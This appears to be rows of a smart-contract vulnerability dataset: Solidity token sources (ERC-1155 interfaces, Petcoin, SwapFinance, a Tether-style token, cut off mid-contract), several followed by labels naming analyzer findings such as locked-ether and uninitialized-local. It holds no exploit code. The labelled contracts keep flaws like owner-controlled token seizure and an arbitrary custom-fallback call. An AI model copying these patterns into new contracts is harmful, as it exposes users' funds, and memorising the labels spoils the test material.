/// An event to address `0x0` signifies a burning or melting operation.
/// The total value transferred from address 0x0 minus the total value transferred to 0x0 may
/// be used by clients and exchanges to be added to the "circulating supply" for a given token ID.
/// To define a token ID with no initial balance, the contract SHOULD emit the TransferSingle event
/// from `0x0` to `0x0`, with the token creator as `_operator`.
event TransferSingle(
address indexed _operator,
address indexed _from,
address indexed _to,
uint256 _id,
uint256 _value
);
/// @dev Either TransferSingle or TransferBatch MUST emit when tokens are transferred,
/// including zero value transfers as well as minting or burning.
///Operator will always be msg.sender.
/// Either event from address `0x0` signifies a minting operation.
/// An event to address `0x0` signifies a burning or melting operation.
/// The total value transferred from address 0x0 minus the total value transferred to 0x0 may
/// be used by clients and exchanges to be added to the "circulating supply" for a given token ID.
/// To define multiple token IDs with no initial balance, this SHOULD emit the TransferBatch event
/// from `0x0` to `0x0`, with the token creator as `_operator`.
event TransferBatch(
address indexed _operator,
address indexed _from,
address indexed _to,
uint256[] _ids,
uint256[] _values
);
/// @dev MUST emit when an approval is updated.
event ApprovalForAll(
address indexed _owner,
address indexed _operator,
bool _approved
);
/// @dev MUST emit when the URI is updated for a token ID.
/// URIs are defined in RFC 3986.
/// The URI MUST point a JSON file that conforms to the "ERC-1155 Metadata JSON Schema".
event URI(
string _value,
uint256 indexed _id
);
/// @notice Transfers value amount of an _id from the _from address to the _to address specified.
/// @dev MUST emit TransferSingle event on success.
/// Caller must be approved to manage the _from account's tokens (see isApprovedForAll).
/// MUST throw if `_to` is the zero address.
/// MUST throw if balance of sender for token `_id` is lower than the `_value` sent.
/// MUST throw on any other error.
/// When transfer is complete, this function MUST check if `_to` is a smart contract (code size > 0).
/// If so, it MUST call `onERC1155Received` on `_to` and revert if the return value
/// is not `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`.
/// @param from Source address
/// @param to Target address
/// @param id ID of the token type
/// @param value Transfer amount
/// @param data Additional data with no specified format, sent in call to `_to`
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 value,
bytes calldata data
)
external;
/// @notice Send multiple types of Tokens from a 3rd party in one transfer (with safety call).
/// @dev MUST emit TransferBatch event on success.
/// Caller must be approved to manage the _from account's tokens (see isApprovedForAll).
/// MUST throw if `_to` is the zero address.
/// MUST throw if length of `_ids` is not the same as length of `_values`.
/// MUST throw if any of the balance of sender for token `_ids` is lower than the respective `_values` sent.
/// MUST throw on any other error.
/// When transfer is complete, this function MUST check if `_to` is a smart contract (code size > 0).
/// If so, it MUST call `onERC1155BatchReceived` on `_to` and revert if the return value
/// is not `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`.
/// @param from Source addresses
/// @param to Target addresses
/// @param ids IDs of each token type
/// @param values Transfer amounts per token type
/// @param data Additional data with no specified format, sent in call to `_to`
function safeBatchTransferFrom(
address from,
address to,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
)
external;
/// @notice Enable or disable approval for a third party ("operator") to manage all of the caller's tokens.
/// @dev MUST emit the ApprovalForAll event on success.
/// @param operator Address to add to the set of authorized operators
/// @param approved True if the operator is approved, false to revoke approval
function setApprovalForAll(address operator, bool approved) external;
/// @notice Queries the approval status of an operator for a given owner.
/// @param owner The owner of the Tokens
/// @param operator Address of authorized operator
/// @return True if the operator is approved, false if not
function isApprovedForAll(address owner, address operator) external view returns (bool);
/// @notice Get the balance of an account's Tokens.
/// @param owner The address of the token holder
/// @param id ID of the Token
/// @return The _owner's balance of the Token type requested
function balanceOf(address owner, uint256 id) external view returns (uint256);
/// @notice Get the balance of multiple account/token pairs
/// @param owners The addresses of the token holders
/// @param ids ID of the Tokens
/// @return balances_ The _owner's balance of the Token types requested
function balanceOfBatch(
address[] calldata owners,
uint256[] calldata ids
)
external
view
returns (uint256[] memory balances_);
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.7.0;
interface IERC1155Receiver {
/// @notice Handle the receipt of a single ERC1155 token type
/// @dev The smart contract calls this function on the recipient
/// after a `safeTransferFrom`. This function MAY throw to revert and reject the
/// transfer. Return of other than the magic value MUST result in the
///transaction being reverted
/// Note: the contract address is always the message sender
/// @param operator The address which called `safeTransferFrom` function
/// @param from The address which previously owned the token
/// @param id An array containing the ids of the token being transferred
/// @param value An array containing the amount of tokens being transferred
/// @param data Additional data with no specified format
/// @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
)
external
returns(bytes4);
/// @notice Handle the receipt of multiple ERC1155 token types
/// @dev The smart contract calls this function on the recipient
/// after a `safeTransferFrom`. This function MAY throw to revert and reject the
/// transfer. Return of other than the magic value MUST result in the
/// transaction being reverted
/// Note: the contract address is always the message sender
/// @param operator The address which called `safeTransferFrom` function
/// @param from The address which previously owned the token
/// @param ids An array containing ids of each token being transferred
/// @param values An array containing amounts of each token being transferred
/// @param data Additional data with no specified format
/// @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
)
external
returns(bytes4);
}
pragma solidity ^0.7.0;
contract MixinNonFungibleToken {
uint256 constant internal TYPE_MASK = uint256(uint128(~0)) << 128;
uint256 constant internal NF_INDEX_MASK = uint128(~0);
uint256 constant internal TYPE_NF_BIT = 1 << 255;
mapping (uint256 => address) internal nfOwners;
/// @dev Returns true if token is non-fungible
function isNonFungible(uint256 id) public pure returns(bool) {
return id & TYPE_NF_BIT == TYPE_NF_BIT;
}
/// @dev Returns true if token is fungible
function isFungible(uint256 id) public pure returns(bool) {
return id & TYPE_NF_BIT == 0;
}
/// @dev Returns index of non-fungible token
function getNonFungibleIndex(uint256 id) public pure returns(uint256) {
return id & NF_INDEX_MASK;
}
/// @dev Returns base type of non-fungible token
function getNonFungibleBaseType(uint256 id) public pure returns(uint256) {
return id & TYPE_MASK;
}
/// @dev Returns true if input is base-type of a non-fungible token
function isNonFungibleBaseType(uint256 id) public pure returns(bool) {
// A base type has the NF bit but does not have an index.
return (id & TYPE_NF_BIT == TYPE_NF_BIT) && (id & NF_INDEX_MASK == 0);
}
/// @dev Returns true if input is a non-fungible token
function isNonFungibleItem(uint256 id) public pure returns(bool) {
// A base type has the NF bit but does has an index.
return (id & TYPE_NF_BIT == TYPE_NF_BIT) && (id & NF_INDEX_MASK != 0);
}
/// @dev returns owner of a non-fungible token
function ownerOf(uint256 id) public view returns (address) {
return nfOwners[id];
}
}
pragma solidity ^0.7.0;
import "./mixin/MixinOwnable.sol";
contract WhitelistExchangesProxy is Ownable {
mapping(address => bool) internal proxies;
bool public paused = true;
function setPaused(bool newPaused) external onlyOwner() {
paused = newPaused;
}
function updateProxyAddress(address proxy, bool status) external onlyOwner() {
proxies[proxy] = status;
}
function isAddressWhitelisted(address proxy) external view returns (bool) {
if (paused) {
return false;
} else {
return proxies[proxy];
}
}
}
pragma solidity ^0.7.0;
contract Context {
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _txOrigin() internal view returns (address payable) {
return tx.origin;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
pragma solidity ^0.7.0;
library LibString {
// via https://github.com/oraclize/ethereum-api/blob/master/oraclizeAPI_0.5.sol
function strConcat(string memory _a, string memory _b, string memory _c, string memory _d, string memory _e) internal pure returns (string memory) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (uint i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (uint i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (uint i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (uint i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string memory _a, string memory _b, string memory _c, string memory _d) internal pure returns (string memory) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string memory _a, string memory _b, string memory _c) internal pure returns (string memory) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string memory _a, string memory _b) internal pure returns (string memory) {
return strConcat(_a, _b, "", "", "");
}
function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
if (_i == 0) {
return "0";
}
uint j = _i;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (_i != 0) {
bstr[k--] = byte(uint8(48 + _i % 10));
_i /= 10;
}
return string(bstr);
}
function uint2hexstr(uint i) internal pure returns (string memory) {
if (i == 0) {
return "0";
}
uint j = i;
uint len;
while (j != 0) {
len++;
j = j >> 4;
}
uint mask = 15;
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
uint curr = (i & mask);
bstr[k--] = curr > 9 ? byte(uint8(55 + curr)) : byte(uint8(48 + curr));
i = i >> 4;
}
return string(bstr);
}
}
| These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization
* control functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the
* sender account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* 彡(^)(^)
* @title ERC223
* @dev ERC223 contract interface with ERC20 functions and events
* Fully backward compatible with ERC20
* Recommended implementation used at https://github.com/Dexaran/ERC223-token-standard/tree/Recommended
*/
contract ERC223 {
uint public totalSupply;
// ERC223 and ERC20 functions and events
function balanceOf(address who) public view returns (uint);
function totalSupply() public view returns (uint256 _supply);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
// ERC223 functions
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
// ERC20 functions and events
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
/**
* @title ContractReceiver
* @dev Contract that is working with ERC223 tokens
*/
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
/*
* tkn variable is analogue of msg variable of Ether transaction
* tkn.sender is person who initiated this token transaction (analogue of msg.sender)
* tkn.value the number of tokens that were sent (analogue of msg.value)
* tkn.data is data of token transaction (analogue of msg.data)
* tkn.sig is 4 bytes signature of function if data of token transaction is a function execution
*/
}
}
/**
* @title Petcoin
*/
contract Petcoin is ERC223, Ownable {
using SafeMath for uint256;
string public name = "Petcoin";
string public symbol = "PET";
uint8 public decimals = 8;
uint256 public totalSupply = 30e9 * 1e8;
uint256 public distributeAmount = 0;
bool public mintingFinished = false;
mapping(address => uint256) public balanceOf;
mapping(address => mapping (address => uint256)) public allowance;
mapping (address => bool) public frozenAccount;
mapping (address => uint256) public unlockUnixTime;
event FrozenFunds(address indexed target, bool frozen);
event LockedFunds(address indexed target, uint256 locked);
event Burn(address indexed from, uint256 amount);
event Mint(address indexed to, uint256 amount);
event MintFinished();
/**
* @dev Constructor is called only once and can not be called again
*/
function Petcoin() public {
balanceOf[msg.sender] = totalSupply;
}
function name() public view returns (string _name) {
return name;
}
function symbol() public view returns (string _symbol) {
return symbol;
}
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOf[_owner];
}
/**
* @dev Prevent targets from sending or receiving tokens
* @param targets Addresses to be frozen
* @param isFrozen either to freeze it or not
*/
function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public {
require(targets.length > 0);
for (uint j = 0; j < targets.length; j++) {
require(targets[j] != 0x0);
frozenAccount[targets[j]] = isFrozen;
FrozenFunds(targets[j], isFrozen);
}
}
/**
* @dev Prevent targets from sending or receiving tokens by setting Unix times
* @param targets Addresses to be locked funds
* @param unixTimes Unix times when locking up will be finished
*/
function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public {
require(targets.length > 0
&& targets.length == unixTimes.length);
for(uint j = 0; j < targets.length; j++){
require(unlockUnixTime[targets[j]] < unixTimes[j]);
unlockUnixTime[targets[j]] = unixTimes[j];
LockedFunds(targets[j], unixTimes[j]);
}
}
/**
* @dev Function that is called when a user or another contract wants to transfer funds
*/
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if (isContract(_to)) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if (isContract(_to)) {
return transferToContract(_to, _value, _data);
} else {
return transferToAddress(_to, _value, _data);
}
}
/**
* @dev Standard function transfer similar to ERC20 transfer with no _data
* Added due to backwards compatibility reasons
*/
function transfer(address _to, uint _value) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
bytes memory empty;
if (isContract(_to)) {
return transferToContract(_to, _value, empty);
} else {
return transferToAddress(_to, _value, empty);
}
}
// assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length > 0);
}
// function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
// function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* Added due to backwards compatibility with ERC20
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_to != address(0)
&& _value > 0
&& balanceOf[_from] >= _value
&& allowance[_from][msg.sender] >= _value
&& frozenAccount[_from] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[_from]
&& now > unlockUnixTime[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Allows _spender to spend no more than _value tokens in your behalf
* Added due to backwards compatibility with ERC20
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender
* Added due to backwards compatibility with ERC20
* @param _owner address The address which owns the funds
* @param _spender address The address which will spend the funds
*/
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowance[_owner][_spender];
}
/**
* @dev Burns a specific amount of tokens.
* @param _from The address that will burn the tokens.
* @param _unitAmount The amount of token to be burned.
*/
function burn(address _from, uint256 _unitAmount) onlyOwner public {
require(_unitAmount > 0
&& balanceOf[_from] >= _unitAmount);
balanceOf[_from] = balanceOf[_from].sub(_unitAmount);
totalSupply = totalSupply.sub(_unitAmount);
Burn(_from, _unitAmount);
}
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _unitAmount The amount of tokens to mint.
*/
function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) {
require(_unitAmount > 0);
totalSupply = totalSupply.add(_unitAmount);
balanceOf[_to] = balanceOf[_to].add(_unitAmount);
Mint(_to, _unitAmount);
Transfer(address(0), _to, _unitAmount);
return true;
}
/**
* @dev Function to stop minting new tokens.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
/**
* @dev Function to distribute tokens to the list of addresses by the provided amount
*/
function distributeAirdrop(address[] addresses, uint256 amount) public returns (bool) {
require(amount > 0
&& addresses.length > 0
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
amount = amount.mul(1e8);
uint256 totalAmount = amount.mul(addresses.length);
require(balanceOf[msg.sender] >= totalAmount);
for (uint j = 0; j < addresses.length; j++) {
require(addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amount);
Transfer(msg.sender, addresses[j], amount);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
function distributeAirdrop(address[] addresses, uint[] amounts) public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
uint256 totalAmount = 0;
for(uint j = 0; j < addresses.length; j++){
require(amounts[j] > 0
&& addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
amounts[j] = amounts[j].mul(1e8);
totalAmount = totalAmount.add(amounts[j]);
}
require(balanceOf[msg.sender] >= totalAmount);
for (j = 0; j < addresses.length; j++) {
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amounts[j]);
Transfer(msg.sender, addresses[j], amounts[j]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
/**
* @dev Function to collect tokens from the list of addresses
*/
function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length);
uint256 totalAmount = 0;
for (uint j = 0; j < addresses.length; j++) {
require(amounts[j] > 0
&& addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
amounts[j] = amounts[j].mul(1e8);
require(balanceOf[addresses[j]] >= amounts[j]);
balanceOf[addresses[j]] = balanceOf[addresses[j]].sub(amounts[j]);
totalAmount = totalAmount.add(amounts[j]);
Transfer(addresses[j], msg.sender, amounts[j]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].add(totalAmount);
return true;
}
function setDistributeAmount(uint256 _unitAmount) onlyOwner public {
distributeAmount = _unitAmount;
}
/**
* @dev fallback function
*/
function() payable public {
}
} | These are the vulnerabilities found
1) constant-function-asm with Medium impact
2) shadowing-abstract with Medium impact
3) uninitialized-local with Medium impact
4) locked-ether with Medium impact |
pragma solidity ^0.4.24;
// ----------------------------------------------------------------------------
// Sample token contract
//
// Symbol : SFI
// Name : SwapFinance
// Total supply : 15000000000000000000000
// Decimals : 18
// Owner Account : 0x0B9F5Dc7247B71d2612b2a9cF513535B765098C6
//
// Enjoy.
//
// (c) By SwapFinance
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Lib: Safe Math
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
/**
ERC Token Standard #180 Interface
https://github.com/ethereum/EIPs/blob/master/EIPS/eip-180-token-standard.md
*/
contract ERC180Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
/**
Contract function to receive approval and execute function in one call
Borrowed from MiniMeToken
*/
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
/**
ERC180 Token, with the addition of symbol, name and decimals and assisted token transfers
*/
contract SFIToken is ERC180Interface, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "SFI";
name = "SwapFinance ";
decimals = 18;
_totalSupply = 15000000000000000000000;
balances[0x0B9F5Dc7247B71d2612b2a9cF513535B765098C6] = _totalSupply;
emit Transfer(address(0), 0x0B9F5Dc7247B71d2612b2a9cF513535B765098C6, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-180-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
/**
*Submitted for verification at Etherscan.io on 2020-12-11
*/
/**
*Submitted for verification at Etherscan.io on 2020-12-11
*/
pragma solidity ^0.4.17;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20Basic {
uint public _totalSupply;
function totalSupply() public constant returns (uint);
function balanceOf(address who) public constant returns (uint);
function transfer(address to, uint value) public;
event Transfer(address indexed from, address indexed to, uint value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint);
function transferFrom(address from, address to, uint value) public;
function approve(address spender, uint value) public;
event Approval(address indexed owner, address indexed spender, uint value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is Ownable, ERC20Basic {
using SafeMath for uint;
mapping(address => uint) public balances;
// additional variables for use if transaction fees ever became necessary
uint public basisPointsRate = 0;
uint public maximumFee = 0;
/**
* @dev Fix for the ERC20 short address attack.
*/
modifier onlyPayloadSize(uint size) {
require(!(msg.data.length < size + 4));
_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) {
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
uint sendAmount = _value.sub(fee);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
Transfer(msg.sender, owner, fee);
}
Transfer(msg.sender, _to, sendAmount);
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based oncode by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) public allowed;
uint public constant MAX_UINT = 2**256 - 1;
/**
* @dev Transfer tokens from one address to another
